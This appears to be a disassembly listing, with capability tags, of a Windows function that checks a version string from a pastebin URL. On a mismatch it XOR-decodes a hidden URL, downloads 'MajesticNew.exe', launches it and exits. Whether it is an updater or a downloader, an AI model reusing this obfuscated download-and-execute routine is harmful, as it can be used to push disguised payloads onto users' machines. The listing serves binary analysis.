Function at 0x140001d10
Capabilities:
Create process on windows
Download url
Encode data using xor
Receive data
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x3c0]
sub rsp, 0x4c0
mov rax, qword [0x1400f8010]
xor rax, rsp
mov qword [rbp + 0x3b0], rax
mov r15, rdx
xor r12d, r12d
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
mov qword [rbp], r12
mov qword [rbp + 8], r12
lea r8d, [r12 + 0x21]
lea rdx, str.https:__pastebin.com_raw_CSBnbgEH
lea rcx, [rbp - 0x10]
call fcn.140002da0
lea r8, [rbp - 0x10]
lea rdx, [rsp + 0x30]
call fcn.140001630
mov rdi, rax
mov rbx, rax
cmp qword [rax + 0x18], 0x10
jb 0x140001d90
mov rbx, qword [rax]
mov rax, rdi
cmp qword [rdi + 0x18], 0x10
jb 0x140001d9d
mov rax, qword [rdi]
mov rcx, qword [rdi + 0x10]
add rax, rcx
cmp rbx, rax
je 0x140001dbf
movsx ecx, byte [rbx]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_isspace]
test eax, eax
je 0x140001dbb
inc rbx
jmp 0x140001d90
mov rcx, qword [rdi + 0x10]
cmp qword [rdi + 0x18], 0x10
jb 0x140001dc9
mov rdi, qword [rdi]
add rdi, rcx
mov rsi, rdi
sub rsi, rbx
mov r14, rdi
dec rdi
dec rsi
test rsi, rsi
jle 0x140001ded
movsx ecx, byte [rdi]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_isspace]
test eax, eax
jne 0x140001dd2
xorps xmm0, xmm0
movups xmmword [rbp + 0x58], xmm0
mov qword [rbp + 0x68], r12
mov qword [rbp + 0x70], r12
cmp rbx, r14
jne 0x140001e17
mov rbx, r12
mov qword [rbp + 0x68], rbx
mov r13d, 0xf
mov qword [rbp + 0x70], r13
mov byte [rbp + 0x58], bl
jmp 0x140001e31
sub r14, rbx
mov r8, r14
mov rdx, rbx
lea rcx, [rbp + 0x58]
call fcn.140002da0
mov r13, qword [rbp + 0x70]
mov rbx, qword [rbp + 0x68]
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x140001e71
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001e6c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001e6c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400668e4
movdqa xmm0, xmmword [0x1400eb850]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], 0
mov rax, qword [r15 + 0x10]
cmp qword [r15 + 0x18], 0x10
jb 0x140001e92
mov r15, qword [r15]
lea rcx, [rbp + 0x58]
mov r12, qword [rbp + 0x58]
cmp r13, 0x10
cmovae rcx, r12
cmp rbx, rax
jne 0x140001eba
mov r8, rbx
mov rdx, r15
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14000247d
xor r9d, r9d
lea r8, str.VERSION
lea rdx, str.Your_version_is_outdated__Downloading_the_new_version...
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov dword [rsp + 0x50], 0xd7cad7d5
mov dword [rsp + 0x54], 0xd7b0d7cb
mov dword [rsp + 0x58], 0xd7f8d7b2
mov dword [rsp + 0x5c], 0xd7ebd7ec
mov dword [rsp + 0x60], 0xd7a7d7b7
mov dword [rsp + 0x64], 0xd7e6d7b0
mov dword [rsp + 0x68], 0xd7a3d7ae
mov dword [rsp + 0x6c], 0xd7a4d7bf
mov dword [rsp + 0x70], 0xd7acd7b8
mov dword [rsp + 0x74], 0xd7a3d7ba
mov dword [rsp + 0x78], 0xd7a0d7b4
mov dword [rsp + 0x7c], 0xd7bbd7b0
mov dword [rbp - 0x80], 0xd7a2d7bb
mov dword [rbp - 0x7c], 0xd7b6d7b2
mov dword [rbp - 0x78], 0xd7f4d7ad
mov dword [rbp - 0x74], 0xd7b3d7b8
mov dword [rbp - 0x70], 0xd7f1d7b0
mov dword [rbp - 0x6c], 0xd78fd7a8
mov dword [rbp - 0x68], 0xd78dd78e
mov dword [rbp - 0x64], 0xd780d785
mov dword [rbp - 0x60], 0xd7a1d7ca
mov dword [rbp - 0x5c], 0xd789d795
mov dword [rbp - 0x58], 0xd78fd78b
mov dword [rbp - 0x54], 0xd79ed78e
mov dword [rbp - 0x50], 0xd78bd7a9
mov dword [rbp - 0x4c], 0xd784d79c
mov dword [rbp - 0x48], 0xd78bd783
mov dword [rbp - 0x44], 0xd78dd79c
mov dword [rbp - 0x40], 0xd79bd7da
mov dword [rbp - 0x3c], 0xd791d796
mov dword [rbp - 0x38], 0xd7d5d797
mov dword [rbp - 0x34], 0xd79dd7b6
mov dword [rbp - 0x30], 0xd79bd797
mov dword [rbp - 0x2c], 0xd874d78c
mov dword [rbp - 0x28], 0xd861d868
mov dword [rbp - 0x24], 0xd861d82d
mov dword [rbp - 0x20], 0xd863d87d
xor ecx, ecx
mov word [rbp - 0x1c], cx
mov byte [rbp - 0x1a], 1
mov edx, 0x2843
movzx eax, cx
sub ax, dx
xor word [rsp + rcx*2 + 0x50], ax
inc rcx
cmp rcx, 0x4a
jb 0x140001ff1
mov byte [rbp - 0x1a], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x88], xmm1
mov r8d, 0x4a
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x78]
call fcn.140002ad0
nop
mov r8d, 0x104
lea rdx, [rbp + 0x1a0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x28], xmm1
lea rax, [rbp + 0x1a0]
mov rdi, 0xffffffffffffffff
mov r8, rdi
inc r8
cmp word [rax + r8*2], 0
jne 0x140002065
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x18]
call fcn.140002ad0
lea rsi, [rbp + 0x18]
mov r14, qword [rbp + 0x18]
mov r15, qword [rbp + 0x30]
cmp r15, 8
cmovae rsi, r14
mov rbx, qword [rbp + 0x28]
test rbx, rbx
je 0x14000216f
xor edx, edx
mov r8d, 0x100
lea rcx, [rbp + 0xa0]
call sub.VCRUNTIME140.dll_memset
lea rcx, [0x14006af4c]
lea r8, [0x14006af50]
mov edx, 0x100
movzx eax, word [rcx]
cmp ax, dx
jae 0x140002113
movzx eax, al
mov byte [rbp + rax + 0xa0], 1
add rcx, 2
cmp rcx, r8
jne 0x1400020c8
lea rcx, [rbx - 1]
mov rax, rdi
cmp rcx, rdi
cmovb rax, rcx
lea rbx, [rsi + rax*2]
movzx eax, word [rbx]
cmp ax, dx
jae 0x140002108
cmp byte [rbp + rax + 0xa0], 0
jne 0x140002167
cmp rbx, rsi
je 0x14000216f
sub rbx, 2
jmp 0x1400020f6
lea rcx, [rbx - 1]
mov rax, rdi
cmp rcx, rdi
cmovb rax, rcx
lea rbx, [rsi + rax*2]
mov r8d, 0x5c
nop dword [rax + rax]
mov ecx, 2
movzx edx, word [rbx]
lea rax, [0x14006af4c]
cmp r8w, dx
je 0x140002167
cmp rcx, 1
je 0x14000215c
dec rcx
add rax, 2
cmp word [rax], dx
jne 0x140002145
test rax, rax
jne 0x140002167
cmp rbx, rsi
je 0x14000216f
sub rbx, 2
jmp 0x140002130
sub rbx, rsi
sar rbx, 1
jmp 0x140002172
mov rbx, rdi
cmp r15, 8
jb 0x1400021b0
lea rdx, [r15*2 + 2]
mov rax, r14
cmp rdx, 0x1000
jb 0x1400021a8
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400021a8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r14
call fcn.1400668e4
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
lea rax, [rbp + 0x1a0]
nop dword [rax + rax]
inc rdi
cmp word [rax + rdi*2], 0
jne 0x1400021d0
mov r8, rdi
lea rdx, [rbp + 0x1a0]
lea rcx, [rsp + 0x30]
call fcn.140002ad0
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp], xmm1
cmp qword [rsp + 0x40], rbx
cmovb rbx, qword [rsp + 0x40]
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov r8, qword [rsp + 0x48]
cmp r8, 8
cmovae rdx, rcx
cmp rbx, 8
jb 0x140002265
lea rax, [rsp + 0x30]
cmp r8, 8
cmovae rax, rcx
mov qword [rsp + 0x40], rbx
xor edi, edi
mov word [rax + rbx*2], di
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [rsp + 0x40]
movups xmmword [rbp], xmm1
movdqa xmm0, xmmword [0x1400eb840]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x30], di
jmp 0x140002273
mov r8, rbx
lea rcx, [rbp - 0x10]
call fcn.140002ad0
xor edi, edi
mov r8d, 0x10
lea rdx, str.MajesticNew.exe
lea rcx, [rbp - 0x10]
call fcn.140002a30
xorps xmm0, xmm0
movups xmmword [rbp + 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x48], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x38], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x48], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 7
mov word [rax], di
mov rdx, qword [rbp + 8]
cmp rdx, 8
jb 0x1400022f9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400022f4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400022f4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400668e4
movdqa xmm0, xmmword [0x1400eb840]
movdqu xmmword [rbp], xmm0
mov word [rbp - 0x10], di
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x14000234f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000234a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000234a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400668e4
lea r8, [rbp + 0x38]
cmp qword [rbp + 0x50], 8
cmovae r8, qword [rbp + 0x38]
lea rdx, [rbp + 0x78]
cmp qword [rbp + 0x90], 8
cmovae rdx, qword [rbp + 0x78]
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
lea r8, str.VERSION
xor ecx, ecx
test eax, eax
jne 0x1400023cf
xor r9d, r9d
lea rdx, str.New_version_downloaded_successfully.
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rcx, [rbp + 0x38]
call fcn.140002590
mov r8, rax
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov r9d, 0x10
lea rdx, str.Failed_to_download_the_new_version.
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rdx, qword [rbp + 0x50]
cmp rdx, 8
jb 0x140002425
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002420
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002420
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400668e4
movdqa xmm0, xmmword [0x1400eb840]
movdqu xmmword [rbp + 0x48], xmm0
mov word [rbp + 0x38], di
mov rdx, qword [rbp + 0x90]
cmp rdx, 8
jb 0x14000247d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002477
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002477
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400668e4
nop
cmp r13, 0x10
jb 0x1400024b8
lea rdx, [r13 + 1]
mov rax, r12
cmp rdx, 0x1000
jb 0x1400024b0
add rdx, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400024b0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r12
call fcn.1400668e4
mov rcx, qword [rbp + 0x3b0]
xor rcx, rsp
call fcn.140066880
lea r11, [rsp + 0x4c0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret